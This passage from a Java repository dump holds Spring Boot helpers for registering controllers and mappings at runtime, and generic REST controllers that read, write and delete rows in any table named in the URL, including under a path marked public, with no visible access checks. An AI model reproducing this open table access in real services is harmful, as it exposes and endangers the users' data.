controllerBeanName) throws Exception {\n        final RequestMappingHandlerMapping requestMappingHandlerMapping = (RequestMappingHandlerMapping)\n                SpringUtil.getApplicationContext().getBean(\"requestMappingHandlerMapping\");\n\n        if (requestMappingHandlerMapping != null) {\n            String handler = controllerBeanName;\n            Object controller = SpringUtil.getApplicationContext().getBean(handler);\n            if (controller == null) {\n                return;\n            }\n            unregisterController(controllerBeanName);\n            //注册Controller\n            Method method = requestMappingHandlerMapping.getClass().getSuperclass().getSuperclass().\n                    getDeclaredMethod(\"detectHandlerMethods\", Object.class);\n            method.setAccessible(true);\n            method.invoke(requestMappingHandlerMapping, handler);\n            log.info(\"==>动态注入controller:{}\",controllerBeanName);\n        }\n    }\n\n    /**\n     * 动态删除controller\n     * @param controllerBeanName\n     */\n    public static void unregisterController(String controllerBeanName) {\n        final RequestMappingHandlerMapping requestMappingHandlerMapping = (RequestMappingHandlerMapping)\n                SpringUtil.getApplicationContext().getBean(\"requestMappingHandlerMapping\");\n        if (requestMappingHandlerMapping != null) {\n            String handler = controllerBeanName;\n            Object controller = SpringUtil.getApplicationContext().getBean(handler);\n            if (controller == null) {\n                return;\n            }\n            final Class<?> targetClass = controller.getClass();\n            ReflectionUtils.doWithMethods(targetClass, new ReflectionUtils.MethodCallback() {\n                @Override\n                public void doWith(Method method) {\n                    Method specificMethod = ClassUtils.getMostSpecificMethod(method, targetClass);\n                    try {\n                        Method createMappingMethod = RequestMappingHandlerMapping.class.\n                                getDeclaredMethod(\"getMappingForMethod\", Method.class, Class.class);\n                        createMappingMethod.setAccessible(true);\n                        RequestMappingInfo requestMappingInfo = (RequestMappingInfo)\n                                createMappingMethod.invoke(requestMappingHandlerMapping, specificMethod, targetClass);\n                        if (requestMappingInfo != null) {\n                            requestMappingHandlerMapping.unregisterMapping(requestMappingInfo);\n                        }\n                    } catch (Exception e) {\n                        e.printStackTrace();\n                    }\n                }\n            }, ReflectionUtils.USER_DECLARED_METHODS);\n        }\n    }\n\n    /**\n     * 向spring容器中添加bean\n     * @param className\n     * @param serviceName\n     * @param app\n     */\n    public static void addBean(String className, String serviceName, ApplicationContext app) {\n        try {\n            Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass(className);\n            BeanDefinitionBuilder beanDefinitionBuilder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n            registerBean(serviceName, beanDefinitionBuilder.getRawBeanDefinition(), app);\n        } catch (ClassNotFoundException e) {\n            System.out.println(className + \",主动注册失败.\");\n        }\n    }\n\n    /**\n     * 向spring容器中添加bean\n     * @param clazz\n     * @param serviceName\n     * @param app\n     */\n    public static void addBean(Class clazz, String serviceName, ApplicationContext app) {\n        BeanDefinitionBuilder beanDefinitionBuilder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n        registerBean(serviceName, beanDefinitionBuilder.getRawBeanDefinition(), app);\n    }\n\n    /**\n     * 向spring容器注册bean核心代码\n     * @param beanName\n     * @param beanDefinition\n     * @param context\n     */\n    private static void registerBean(String beanName, BeanDefinition beanDefinition, ApplicationContext context) {\n        ConfigurableApplicationContext configurableApplicationContext = (ConfigurableApplicationContext) context;\n        BeanDefinitionRegistry beanDefinitonRegistry = (BeanDefinitionRegistry) configurableApplicationContext\n                .getBeanFactory();\n        beanDefinitonRegistry.registerBeanDefinition(beanName, beanDefinition);\n        log.info(\"==> 动态注册bean:{}\",beanName);\n    }\n\n        public static <T> void registerBean(String beanName, T bean) {\n        ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();\n        factory.autowireBean(bean);\n        factory.registerSingleton(beanName, bean);\n    }\n\n    public static void unregisterBean(String beanName) {\n        ConfigurableListableBeanFactory factory = getConfigurableBeanFactory();\n        if (factory instanceof DefaultSingletonBeanRegistry) {\n            DefaultSingletonBeanRegistry registry = (DefaultSingletonBeanRegistry)factory;\n            registry.destroySingleton(beanName);\n        } else {\n            throw new UtilException(\"Can not unregister bean, the factory is not a DefaultSingletonBeanRegistry!\");\n        }\n    }\n\n    public static ConfigurableListableBeanFactory getConfigurableBeanFactory() throws UtilException {\n        ConfigurableListableBeanFactory factory = ((ConfigurableApplicationContext)SpringUtil.getApplicationContext()).getBeanFactory();\n        return factory;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/util/MappingRegisterUtil.java",
    "content": "package io.github.wujun728.groovy.util;\n\nimport cn.hutool.core.util.ArrayUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.google.common.collect.Lists;\nimport io.github.wujun728.groovy.mapping.http.RequestMappingExecutor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.lang.reflect.Method;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n@Slf4j\n@Component\npublic class MappingRegisterUtil {\n\n//    @Resource\n//    private RequestMappingHandlerMapping requestMappingHandlerMapping;\n\n    public static synchronized void registerMapping(String method, String path, String scriptType) throws NoSuchMethodException {\n        if (\"Code\".equals(scriptType)) {\n            return;\n        }\n        String pattern = path;\n        if (StringUtils.isEmpty(pattern) || pattern.startsWith(\"TEMP-\")) {\n            return;\n        }\n        RequestMappingInfo mappingInfo = getRequestMappingInfo(pattern, method);\n        if (mappingInfo != null) {\n            return;\n        }\n        log.debug(\"Mapped [{}]{}\", method, pattern);\n        if(!StringUtils.isEmpty(method)) {\n            List<RequestMethod> methods = Lists.newArrayList();\n            if(StrUtil.containsIgnoreCase(\"get\",method)){\n                methods.add(RequestMethod.GET);\n            }\n            if(StrUtil.containsIgnoreCase(\"post\",method)){\n                methods.add(RequestMethod.POST);\n            }\n            if(StrUtil.containsIgnoreCase(\"delete\",method)){\n                methods.add(RequestMethod.DELETE);\n            }\n            if(StrUtil.containsIgnoreCase(\"put\",method)){\n                methods.add(RequestMethod.PUT);\n            }\n            if(CollectionUtils.isEmpty(methods)){\n                mappingInfo = RequestMappingInfo.paths(pattern).build();\n            }else {\n                mappingInfo = RequestMappingInfo.paths(pattern).methods(ArrayUtil.toArray(methods,RequestMethod.class)).build();\n            }\n        }else {\n            mappingInfo = RequestMappingInfo.paths(pattern).build();\n        }\n        RequestMappingHandlerMapping requestMappingHandlerMapping = SpringUtil.getBean(\"requestMappingHandlerMapping\");\n        RequestMappingExecutor mappingFactory = SpringUtil.getBean(RequestMappingExecutor.class);\n        Method targetMethod = RequestMappingExecutor.class.getDeclaredMethod(\"execute\", HttpServletRequest.class, HttpServletResponse.class);\n        requestMappingHandlerMapping.registerMapping(mappingInfo, mappingFactory, targetMethod);\n    }\n\n//    @Resource\n//    @Lazy\n//    private static RequestMappingExecutor mappingFactory;\n\n    public static synchronized void unregisterMapping(String method, String path, String scriptType) {\n        if (\"Code\".equals(scriptType)) {\n            return;\n        }\n        String pattern = path;\n\n        if (StringUtils.isEmpty(pattern) || pattern.startsWith(\"TEMP-\")) {\n            return;\n        }\n        RequestMappingInfo mappingInfo = getRequestMappingInfo(pattern, method);\n        if (mappingInfo == null) {\n            return;\n        }\n        log.info(\"Cancel Mapping [{}]{}\", method==null?\"\":method, pattern);\n        if(!StringUtils.isEmpty(method)) {\n            List<RequestMethod> methods = Lists.newArrayList();\n            if(StrUtil.containsIgnoreCase(\"get\",method)){\n                methods.add(RequestMethod.GET);\n            }\n            if(StrUtil.containsIgnoreCase(\"post\",method)){\n                methods.add(RequestMethod.POST);\n            }\n            if(StrUtil.containsIgnoreCase(\"delete\",method)){\n                methods.add(RequestMethod.DELETE);\n            }\n            if(StrUtil.containsIgnoreCase(\"put\",method)){\n                methods.add(RequestMethod.PUT);\n            }\n            if(CollectionUtils.isEmpty(methods)){\n                mappingInfo = RequestMappingInfo.paths(pattern).build();\n            }else {\n                mappingInfo = RequestMappingInfo.paths(pattern).methods(ArrayUtil.toArray(methods,RequestMethod.class)).build();\n            }\n        }else {\n            mappingInfo = RequestMappingInfo.paths(pattern).build();\n        }\n        RequestMappingHandlerMapping requestMappingHandlerMapping = SpringUtil.getBean(\"requestMappingHandlerMapping\");\n        requestMappingHandlerMapping.unregisterMapping(mappingInfo);\n    }\n\n    private static RequestMappingInfo getRequestMappingInfo(String pattern, String method) {\n        RequestMappingHandlerMapping requestMappingHandlerMapping = SpringUtil.getBean(\"requestMappingHandlerMapping\");\n        Map<RequestMappingInfo, HandlerMethod> map = requestMappingHandlerMapping.getHandlerMethods();\n        for (RequestMappingInfo info : map.keySet()) {\n            Set<String> patterns = getPatterns(info);\n            Set<RequestMethod> methods = info.getMethodsCondition().getMethods();\n            if (patterns.contains(pattern) && (methods.isEmpty() || methods.contains(RequestMethod.valueOf(method)))) {\n                return info;\n            }\n        }\n        return null;\n    }\n\n\n    public static Set<String> getPatterns(RequestMappingInfo info) {\n        return info.getPatternsCondition() == null ? /* info.getPathPatternsCondition().getPatternValues() */null\n                : info.getPatternsCondition().getPatterns();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/controller/RestApiController.java",
    "content": "package io.github.wujun728.rest.controller;\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.json.JSON;\nimport cn.hutool.json.JSONArray;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.sql.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.rest.service.RestApiService;\nimport io.github.wujun728.rest.util.HttpRequestUtil;\nimport io.github.wujun728.rest.util.RestUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @author Wujun\n * @desc 通用Rest服务接口\n */\n@Slf4j\n@org.springframework.web.bind.annotation.RestController\n@RequestMapping({\"${platform.path:}/bizrest\", \"${platform.path:}/public/bizrest\"})\n//@Api(value = \"实体公共增删改查接口\")\npublic class RestApiController {\n\n    @Resource\n    RestApiService restApiService;\n\n    private String main = \"main\";\n\n    @GetMapping(path = {\"/{entityName}/list\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result list(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            List<Map<String, Object>> datas = restApiService.getList(tableName,parameters);\n            return Result.success(datas);\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @GetMapping(path = {  \"/{entityName}/page\" }, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result page(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Page<Record> pages = restApiService.getPage(tableName,parameters);\n            List<Map<String, Object>> datas = RecordUtil.recordToMaps(pages.getList());\n            return Result.success(datas).put(\"count\", pages.getTotalRow()).put(\"pageSize\", pages.getPageSize()).put(\"totalPage\", pages.getTotalPage()).put(\"pageNumber\", pages.getPageNumber());\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n\n    @GetMapping(path = {\"/{entityName}/tree\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result tree(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            parameters.put(\"url\" , url);\n            List<Map<String, Object>> datas = restApiService.getTree(tableName,parameters);\n            return Result.success(datas);\n            //是否构建树 end\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @GetMapping(path = {\"/{entityName}/findOne\",\"/{entityName}/getOne\",\"/{entityName}/record\",\"/{entityName}/row\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"根据ID返回单个实体数据\")\n    public Result findOne(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            String primaryKey = RestUtil.getTablePrimaryKes(table);\n            List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n            Record record = Db.findById(tableName, primaryKey, args.toArray());\n            if (ObjectUtil.isNotNull(record)) {\n                Map data = RecordUtil.recordToMap(record);\n                return Result.success(data);\n            } else {\n                return Result.fail(\"无此ID对应的记录！\");\n            }\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @DeleteMapping(path = \"/{entityName}/{ids}\", produces = \"application/json\")\n    //@ApiOperation(value = \"根据id删除实体数据\" )\n    public Result delete2(@PathVariable(\"entityName\") String entityName,@PathVariable(\"ids\") String ids, HttpServletRequest request) throws Exception {\n        return delete(entityName, ids, request);\n    }\n    @RequestMapping(path = \"/{entityName}/delete/{ids}\", produces = \"application/json\")\n    //@ApiOperation(value = \"根据id删除实体数据\" )\n    public Result delete(@PathVariable(\"entityName\") String entityName,@PathVariable(\"ids\") String ids, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        try {\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            String primaryKey = \"id\";\n            Object[] argsDelete = new Object[]{} ;\n            if(StrUtil.isNotEmpty(ids)){\n                if(ids.contains(\",\")){\n                    argsDelete = ids.split(\",\");\n                }else{\n                    argsDelete = new Object[]{ids};\n                }\n            }else{\n                primaryKey = RestUtil.getTablePrimaryKes(table);\n                List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n                argsDelete = args.toArray();\n            }\n            Boolean flag =   Db.deleteById(tableName, primaryKey, argsDelete);\n            if (flag) {\n                return Result.success(\"删除成功！\",flag);\n            } else {\n                return Result.fail(\"删除失败！\");\n            }\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            if (message.contains(\"Unknown column\")) {\n                throw new BusinessException(\"接口必须参数id,可选参数primaryKey，其中primaryKey中的列在数据库不存在\");\n            }\n            if (message.contains(\"number must equals id value number\")) {\n                throw new BusinessException(\"接口必须参数id,可选参数primaryKey，有多列，均使用逗号分隔，当前参数个数与值的个数不一致\");\n            }\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n\n    @PostMapping(path = {\"/{entityName}\"}, produces = \"application/json\")\n    public Result save(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        return create(entityName, request);\n    }\n    @RequestMapping(path = {\"/{entityName}/save\",\"/{entityName}/add\"}, produces = \"application/json\")\n    public Result create(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        try {\n            //return saveOrUpdate(entityName, parameters, true);\n            //Step1,校验表信息，并获取表定义及主键信息\n            String tableName = StrUtil.toUnderlineCase(entityName);\n            main = MapUtil.getStr(parameters, \"ds\",\"main\");\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            //Step2,根据表定义，获取表主键，并根据新增及修改，生成主键或者判断主键数据是否存在\n            //Step3,根据表定义，新增必填字段信息校验，并将默认或者内置字段生成默认值\n            //String primaryKey = RestUtil.getTablePrimaryKes(table);\n            Record record = new Record();\n            RestUtil.buildRecord(parameters, table, record);\n            //Step4，根据表定义拿到全部参数并生成入库的对象，并持久化并返回数据\n            Boolean isSucess;\n            RestUtil.fillRecord(record,tableName,true);\n            Record finalRecord = record;\n            isSucess = Db.save(tableName, finalRecord);\n            System.out.println(\"返回数据为：\" + JSONUtil.toJsonStr(isSucess));\n            if (isSucess) {\n                    return Result.success(\"保存成功！\",isSucess);\n            } else {\n                return Result.fail(\"新增失败\");\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            if (e.getMessage().contains(\"Duplicate\")) {\n                return Result.fail(\"数据重复，主键冲突，请联系管理员，错误信息：\" + e.getMessage());\n            }\n            if (e.getMessage().contains(\"Incorrect datetime\")) {\n                return Result.fail(\"数据格式有误，日期格式不规范(yyyy-mm-dd)\");\n            }\n            if (e.getMessage().contains(\"Data too long\")) {\n                return Result.fail(\"数据值太长，超出最大长度限制\" );\n            }\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @PutMapping(path = {\"/{entityName}\"}, produces = \"application/json\")\n    public Result edit(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        return update(entityName, request);\n    }\n    @RequestMapping(path = {\"/{entityName}/update\",\"/{entityName}/edit\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"更新实体数据\", notes = \"不需要更新的字段不设置或设置为空,{\\\"name\\\":\\\"tom\\\",\\\"args\\\":1}\")\n    public Result update(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        try {\n            //return saveOrUpdate(entityName, parameters, false);\n            //Step1,校验表信息，并获取表定义及主键信息\n            String tableName = StrUtil.toUnderlineCase(entityName);\n            main = MapUtil.getStr(parameters, \"ds\",\"main\");\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            //Step2,根据表定义，获取表主键，并根据新增及修改，生成主键或者判断主键数据是否存在\n            //Step3,根据表定义，新增必填字段信息校验，并将默认或者内置字段生成默认值\n            String primaryKey = RestUtil.getTablePrimaryKes(table);\n            String primaryValue = RestUtil.getParamValue(parameters, primaryKey);\n            Record record = new Record();\n            List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n            record = Db.findById(tableName, primaryKey, args.toArray());\n            if (ObjectUtil.isNull(record)) {\n                return Result.fail(\"修改失败，无此ID对应的记录！\");\n            }\n            RestUtil.buildRecord(parameters,table,record);\n            //Step4，根据表定义拿到全部参数并生成入库的对象，并持久化并返回数据\n            Boolean isSucess;\n            RestUtil.fillRecord(record,tableName,false);\n            Record finalRecord1 = record;\n            //isSucess = Db.tx(() -> Db.update(tableName, finalRecord1));\n            isSucess = Db.update(tableName, finalRecord1);\n            System.out.println(\"返回数据为：\" + JSONUtil.toJsonStr(isSucess));\n            if (isSucess) {\n                    return Result.success(\"修改成功！\",isSucess);\n            } else {\n                return Result.fail(\"修改失败\");\n            }\n        } catch (Exception e1) {\n            e1.printStackTrace();\n            if (e1.getMessage().contains(\"Duplicate\")) {\n                return Result.fail(\"数据重复，主键冲突：\" + e1.getMessage());\n            }\n            if (e1.getMessage().contains(\"Incorrect datetime\")) {\n                return Result.fail(\"数据格式有误，日期格式不规范(yyyy-mm-dd)：\" + e1.getMessage());\n            }\n            if (e1.getMessage().contains(\"Data too long\")) {\n                return Result.fail(\"数据字段值太长，超出最大长度：\" + e1.getMessage());\n            }\n            String message = ExceptionUtils.getMessage(e1);\n            log.error(message, e1);\n            return Result.error(message);\n        }\n    }\n\n    /*public static void main(String[] args) {\n        System.out.println(DateUtil.currentSeconds());\n    }\n    @RequestMapping(path = {\"/module/install\"}, produces = \"application/json\")\n    public Result install(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        return Result.success(\"安装成功！\");\n    }\n    @RequestMapping(path = {\"/module/uninstall\"}, produces = \"application/json\")\n    public Result uninstall(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        return Result.success(\"卸载成功！\");\n    }*/\n    @RequestMapping(path = {\"/cache/clear\"}, produces = \"application/json\")\n    public Result cacheClear(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        //tableCache.set(new HashMap<>());\n        return Result.success(\"缓存清理成功！\");\n    }\n\n\n\n    public static Table getTableMeta(String tableName,String ds) {\n        //Map map = tableCache.get();\n        //if (!map.containsKey(tableName)) {\n        Table table = MetaUtil.getTableMeta(DataSourcePool.get(ds), tableName);\n        //map.put(tableName, table);\n        //tableCache.set(map);\n        if (CollectionUtils.isEmpty(table.getColumns())) {\n            throw new BusinessException(\"实体对应的表不存在！\");\n        }\n        return table;\n        //}\n    }\n\n\n\n    /**\n     * 接收多层级 JSON 数据并解析\n     * @param json Hutool JSON 对象（自动接收前端传递的 JSON 数据）\n     * @return 解析后的结果\n     */\n    @PostMapping(\"/api/query\")\n    public String query(@RequestBody JSON json) {\n        // ================ 1. 基础多层级取值（核心场景） ================\n        // 示例前端传递的 JSON 数据结构：\n        // {\n        //   \"user\": {\n        //     \"basicInfo\": {\n        //       \"name\": \"张三\",\n        //       \"age\": 25,\n        //       \"address\": {\n        //         \"province\": \"广东省\",\n        //         \"city\": \"深圳市\"\n        //       }\n        //     },\n        //     \"hobbies\": [\"篮球\", \"编程\", \"阅读\"]\n        //   },\n        //   \"page\": {\n        //     \"pageNum\": 1,\n        //     \"pageSize\": 10\n        //   }\n        // }\n\n        // 关键步骤：将顶层 JSON 接口强转为 JSONObject（核心修正）\n        JSONObject rootObj = json instanceof JSONObject ? (JSONObject) json : new JSONObject();\n\n        // ================ 1. 逐层获取多层级数据 ================\n        // 第一层：获取 user 节点（JSONObject）\n        JSONObject userObj = rootObj.getJSONObject(\"user\");\n        // 第二层：获取 user.basicInfo 节点\n        JSONObject basicInfoObj = userObj == null ? new JSONObject() : userObj.getJSONObject(\"basicInfo\");\n        // 第三层：获取基础信息字段（带默认值，避免空指针）\n        String name = basicInfoObj.getStr(\"name\", \"未知\");\n        Integer age = basicInfoObj.getInt(\"age\", 0);\n\n        // 第四层：获取 user.basicInfo.address 节点\n        JSONObject addressObj = basicInfoObj.getJSONObject(\"address\");\n        String province = addressObj == null ? \"未知\" : addressObj.getStr(\"province\", \"未知\");\n        String city = addressObj == null ? \"未知\" : addressObj.getStr(\"city\", \"未知\");\n\n        // 方式2：链式取值（简洁，推荐空值时加默认值）\n        Integer pageNum = json.getByPath(\"page.pageNum\", Integer.class); // 路径取值，默认值1\n        Integer pageSize = json.getByPath(\"page.pageSize\", Integer.class);\n\n        // ================ 2. 集合/数组取值 ================\n        JSONArray hobbiesArray = userObj.getJSONArray(\"hobbies\"); // 获取数组\n        // 遍历数组\n        StringBuilder hobbies = new StringBuilder();\n        for (int i = 0; i < hobbiesArray.size(); i++) {\n            hobbies.append(hobbiesArray.getStr(i)).append(\",\");\n        }\n\n        // ================ 3. 空值安全处理（避免空指针） ================\n        // 取值时指定默认值，防止字段不存在时报错\n        String email = basicInfoObj.getStr(\"email\", \"未填写\"); // 字段不存在时返回\"未填写\"\n        Long phone = basicInfoObj.getLong(\"phone\", 0L); // 字段不存在时返回0L\n\n        // ================ 4. 结果拼接（示例） ================\n        return String.format(\n                \"姓名：%s，年龄：%d，地址：%s-%s，页码：%d，每页条数：%d，爱好：%s，邮箱：%s，手机号：%d\",\n                name, age, province, city, pageNum, pageSize, hobbies.toString().replaceAll(\",$\", \"\"),\n                email, phone\n        );\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/rest/controller/RestSqlController.java",
    "content": "package io.github.wujun728.rest.controller;\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.sql.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.rest.service.RestSqlService;\nimport io.github.wujun728.rest.util.HttpRequestUtil;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * @author Wujun\n * @desc 通用Rest Sql服务接口\n */\n@Slf4j\n@RestController\n@RequestMapping({\"/bizapis\"})\n//@RequestMapping({\"${platform.path:}/apis\"})\n//@Api(value = \"实体公共增删改查接口\")\npublic class RestSqlController {\n\n    private String main = \"main\";\n\n     //@PostConstruct\n     void init(){\n         DataSource dataSource = SpringUtil.getBean(DataSource.class);\n         if(ObjectUtil.isNotEmpty(dataSource)){\n             Db.init(main,dataSource);\n         }\n     }\n\n    @Resource\n    RestSqlService restSqlService;\n\n\n    @GetMapping(path = {\"/{entityName}/init\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result init(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            restSqlService.init(tableName,parameters);\n            return Result.success(\"接口初始化成功\");\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @RequestMapping(path = {\"/run/{id}\"}, produces = \"application/json\")\n    public Result apiExecuteNew(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            Object data = restSqlService.doSQLProcess(apiSql, parameters);\n            return Result.success(data);\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n    @RequestMapping(path = {\"/page/{id}\"}, produces = \"application/json\")\n    public Result apiExecutepage(@PathVariable String id ,HttpServletRequest request, HttpServletResponse 